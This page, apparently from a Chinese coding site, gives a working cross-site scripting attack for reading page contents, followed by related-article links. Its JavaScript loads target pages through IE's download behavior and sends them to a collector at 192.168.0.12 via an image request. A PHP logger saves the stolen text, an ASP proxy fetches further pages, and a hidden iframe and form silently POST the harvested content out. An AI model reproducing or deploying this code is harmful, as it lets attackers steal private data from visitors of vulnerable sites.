xss文件页面内容读取(解决)

js:


代码如下:

document.body.addBehavior("#default#Download");
var mycars = new Array();
mycars[0] = "l.htm";
mycars[1] = "y.htm";
for (x in mycars )
{
if(document.body.startDownload(mycars[x],GetData)){
GetData(source);
}
}

function GetData(source)
{
txt=escape(source);
getReaded(txt);
}
function getReaded(usr) {
var newimg = new Image();
newimg.src="http://192.168.0.12/style.php?key="+"\n"+"\n"+usr+"\n"+"\n";
}

php:


代码如下:

<?php
header('Content-Type:text/html;charset=GB2312');
function unescape($str) {
$str = rawurldecode($str);
preg_match_all("/%u.{4}|&#x.{4};|&#\d+;|.+/U",$str,$r);
$ar = $r[0];
foreach($ar as $k=>$v) {
if(substr($v,0,2) == "%u")
$ar[$k] = iconv("UCS-2","UTF-8",pack("H4",substr($v,-4)));
elseif(substr($v,0,3) == "&#x")
$ar[$k] = iconv("UCS-2","UTF-8",pack("H4",substr($v,3,-1)));
elseif(substr($v,0,2) == "&#") {
$ar[$k] = iconv("UCS-2","UTF-8",pack("n",substr($v,2,-1)));
}
}
return join("",$ar);
}
$file="news.html";
$_GET['key']=unescape($_GET['key']);
fputs(fopen($file,'a+'),$_GET['key']);
?>

=================================================以下通用了===============


代码如下:

<%
Response.Buffer = True
Dim sUrlB,send(2)
send(0)=escape(PageWebProxy("http://192.168.0.5/sohu.htm"))
send(1)=escape(PageWebProxy("http://192.168.0.5/c.htm"))
function PageWebProxy(xmlpath)
Dim i, re, Url, Html
Url = xmlpath

Set re = New RegExp
re.IgnoreCase = True
re.Global = True
sUrlB = Url
Html = getHTTPPage(Url)
Url = Left(Url, InStrRev(Url, "/"))
i = InStr(sUrlB, "?")
If i > 0 Then
sUrlB = Left(sUrlB, i - 1)
End If
re.Pattern = "(href|action)=(\'|"")?(\?)"
Html = re.Replace(Html,"$1=$2" & sUrlB & "?")
re.Pattern = "(src|action|href)=(\'|"")?((http|https|javascript):[A-Za-z0-9\./=\?%\-&_~`@[\]\':+!]+([^<>""])+)(\'|"")?"
Html = re.Replace(Html,"$1x=$2$3$2")
re.Pattern = "(window\.open|url)\((\'|"")?((http|https):(\/\/|\\\\)[A-Za-z0-9\./=\?%\-&_~`@[\]:+!]+([^\'<>""])+)(\'|"")?\)"
Html = re.Replace(Html,"$1x($2$3$2)")
re.Pattern = "(src|action|href|background)=(\'|"")?([^\/""\'][A-Za-z0-9\./=\?%\-&_~`@[\]:+!]+([^\'<>""])+)(\'|"")?"
Html = re.Replace(Html,"$1=$2" & Url & "$3$2")
re.Pattern = "(src|action|href|background)=(\'|"")?\/([^""\'][A-Za-z0-9\./=\?%\-&_~`@[\]:+!]+([^\'<>""])+)(\'|"")?"
Html = re.Replace(Html,"$1=$2http://" & Split(Url, "/")(2) & "/$3$2")
re.Pattern = "(src|action|href)=(\'|"")?\/(\'|"")?"
Html = re.Replace(Html,"$1=$2http://" & Split(Url, "/")(2) & "/$2")
re.Pattern = "(window\.open|url)\((\'|"")?([^\/""\'http:][A-Za-z0-9\./=\?%\-&_~`@[\]+!]+([^\'<>""])+)(\'|"")?\)"
Html = re.Replace(Html,"$1($2" & Url & "$3$2)")
re.Pattern = "(window\.open|url)\((\'|"")?\/([^""\'http:][A-Za-z0-9\./=\?%\-&_~`@[\]+!]+([^\'<>""])+)(\'|"")?\)"
Html = re.Replace(Html,"$1($2http://" & Split(Url, "/")(2) & "/$3$2)")
Html = Replace(Html, "&", "%26")
If Split(Url, "/")(2) = "club.isso.com.cn" Then
Html = Replace(Html, "%26amp;", "%26")
Else
Html = Replace(Html, "%26amp;", "&")
End If
Html = Replace(Html, "%26nbsp;", " ")
Html = Replace(Html, "%26lt;", "<")
Html = Replace(Html, "%26gt;", ">")
Html = Replace(Html, "%26quot;", """)
Html = Replace(Html, "%26copy;", "©")
Html = Replace(Html, "%26reg;", "®")
Html = Replace(Html, "%26raquo;", "»")
Html = Replace(Html, "%26%26", "&&")
Html = Replace(Html, "%26#", "&#")
' Html = Replace(Html, "%26", "")
re.Pattern = "(src|action|href)x=(\'|"")?((http|https|javascript):[A-Za-z0-9\./=\?%\-&_~`@[\]\':+!]+([^<>""])+)(\'|"")?"
Html = re.Replace(Html,"$1=$2$3$2")
re.Pattern = "((http|https):(\/\/|\\\\)[A-Za-z0-9\./=\?%\-&_~`@[\]\':+!]+([^<>""])+)" '"(gif|jpg|bmp|png))"
Html = re.Replace(Html,"?url=$1")
re.Pattern = "\?url=" & Url & "(#|javascript:)"
Html = re.Replace(Html,"$1")
re.Pattern = "multipart\/form-data"
Html = re.Replace(Html,"")
PageWebProxy=Html
End function
Function getHTTPPage(url)
Dim Http, theStr, fileExt
Set Http = Server.CreateObject("MSXML2.XMLHTTP")
If Request.Form.Count > 0 Then
For Each x In Request.Form
theStr = theStr & Server.UrlEncode(x) & "=" & Server.UrlEncode(Request.Form(x)) & "&"
Next
Http.Open "POST", url, False
Http.SetRequestHeader "CONTENT-TYPE", "application/x-www-form-urlencoded"
Http.Send(theStr)
Else
Http.Open "GET", url, False
Http.Send()
End If
If Http.readystate<>4 then Exit Function
fileExt = LCase(Mid(url, InStrRev(url, ".") + 1))
If InStr("$jpg$gif$bmp$png$js$", "$" & fileExt & "$") > 0 Then
Response.Clear
Response.BinaryWrite Http.responseBody
Response.End()
Else
If InStr("$rar$mdb$zip$exe$com$ico$", "$" & fileExt & "$") > 0 Then
Response.AddHeader "Content-Disposition", "Attachment; Filename=" & Mid(sUrlB, InStrRev(sUrlB, "/") + 1)
Response.BinaryWrite Http.responseBody
Response.Flush
Else
getHTTPPage = bytesToBSTR(Http.responseBody, "GB2312")
End If
End If
Set Http = Nothing
End Function
Function BytesToBstr(body,Cset)
Dim objstream
Set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
Set objstream = nothing
End Function
%>

document.writeln("<iframe name=\"mimi\" src=about:blank style=display:none><\/iframe>")
document.writeln("<form id=form action=http:\/\/192.168.0.12\/xss.asp method=POST target=mimi>");
document.writeln("<input id=var name=var type=hidden>");
document.writeln("<input id=vartwo name=vartwo type=hidden>");
document.writeln("<input type=submit style=display:none>");
document.writeln("<\/form>")
document.getElementById("var").value ='http://192.168.0.5/sohu.htm'+unescape('<%=send(0)%>');
document.getElementById("vartwo").value ='http://192.168.0.5/c.htm'+unescape('<%=send(1)%>');
document.getElementById("form").submit();

(0)

相关推荐

  • xss文件页面内容读取(解决)

    js: 复制代码 代码如下: document.body.addBehavior("#default#Download"); var mycars = new Array(); mycars[0] = "l.htm"; mycars[1] = "y.htm"; for (x in mycars ) { if(document.body.startDownload(mycars[x],GetData)){ GetData(source); } }

  • 完美解决JS文件页面加载时的阻塞问题

    关于页面加载时的时间消费,许多书中都做出了介绍,也提出了很多种方法.本文章就详细介绍XHR注入. 概述:JS分拆的方法 1.XHR注入:就是用ajax异步请求同域包含脚本的文件,然后将返回的字符串转化为脚本使用,该方法不会造成页面渲染和onload事件的阻塞,因为是异步处理,推荐使用. 2.iframe注入:加载一个iframe框架,通过使用iframe框架中的脚本来避免src方式加载脚本的阻塞,但是iframe元素开销较大,不推荐. 3.DOM注入:就是创建script元素,通过制定该元素的s

  • vue+webpack 打包文件 404 页面空白的解决方法

    最近用vue-cli+vue-router+webpack建立项目,其中的遇到的三个问题,整理如下: vue-cli+ webpack 建立的项目,cnpm run build 打包项目之后,需要放在http服务器上才可以运行, 例如 :nginx vue单页面的启动页面是index.html,路由的路径实际是不存在的,所以会出现刷新页面404的问题,需要设置所有找不到的路径直接映射到index.html 1 刷新页面404 配置启动文件的index页面的路径root: D:/workPlace

  • 解决C++ fopen按行读取文件及所读取的数据问题

    1.已有文本文件: string dataList; 使用fopen读取: FILE *fpListFile = fopen(dataList.c_str(), "r"); if (!fpListFile){ cout << "0.can't open " << dataList << endl; return -1; } 2.按行读取数据: 方法一: char loadImgPath[1000]; while(EOF != fs

  • php使用fgetcsv读取csv文件出现乱码的解决方法

    本文实例讲述了php使用fgetcsv读取csv文件出现乱码的解决方法.分享给大家供大家参考.具体分析如下: 一般来说在php中碰到乱码多半是编码问题,在这里我们实例分析了fgetcsv读取csv文件乱码原因所在与解决方法. 例子如下: 复制代码 代码如下: function get_csv_contents( $file_target ){  $handle  = fopen( $file_target, 'r');  while ($data = fgetcsv($handle, 1000,

  • C#读取中文文件出现乱码的解决方法

    本文实例讲述了C#读取中文文件出现乱码的解决方法.分享给大家供大家参考.具体分析如下: 先来看这段代码: FileStream aFile = new FileStream(SingleFile,FileMode.Open); StreamReader sr = new StreamReader(aFile,Encoding.GetEncoding("gb2312"),true); string FileContent = sr.ReadToEnd(); aFile.Close();

  • php实现批量删除挂马文件及批量替换页面内容完整实例

    本文实例讲述了php实现批量删除挂马文件及批量替换页面内容的方法.分享给大家供大家参考,具体如下: <?php # functionality: 本程序可以扫描指定目录的所有文件,进行内容替换.可用于被批量挂马的删除以及批量更新页面某些内容. # 本程序适用于对UTF-8的页面进行修改. set_time_limit(3600); //脚本运行时间 ?> <?php if($_POST['Submit']=='开始执行操作'){ $dir = $_POST['searchpath'];

  • 使用python读取txt文件的内容,并删除重复的行数方法

    注意,本文代码是使用在txt文档上,同时txt文档中的内容每一行代表的是图片的名字. #coding:utf-8 import shutil readDir = "原文件绝对路经" writeDir = "写入文件的绝对路径" #txtDir = "/home/fuxueping/Desktop/1" lines_seen = set() outfile=open(writeDir,"w") f = open(readDir,

  • Shell脚本从文件中逐行读取内容的几种方法实例

    从文件逐行读取数据的方法有两种,一种是在while循环或until循环中使用read命令,通过文件描述符一行一行的读取文件内容:另一种是在for循环中使用cat <filename>来读取文件的内容. 1.使用for循环从文件中逐行读取内容:在默认情况现下此方法是逐个单词的读取文件内容,因为使用这种方法读取文件时,他使用环境变量IFS的值作为分隔符,由于IFS的默认值是"<space/空格>""<tab/制表符>""&l

  • Vue 路由切换时页面内容没有重新加载的解决方法

    第二次进入页面,页面路由参数已经改变,但是页面内容不会刷新. 问题原因:在组件mounted钩子中调用的刷新页面内容,但测试发现这个钩子没有被调用.后来发现App.vue中使用了<keep-alive>: <template> <div id="app"> <keep-alive> <router-view></router-view> </keep-alive> </div> </t

随机推荐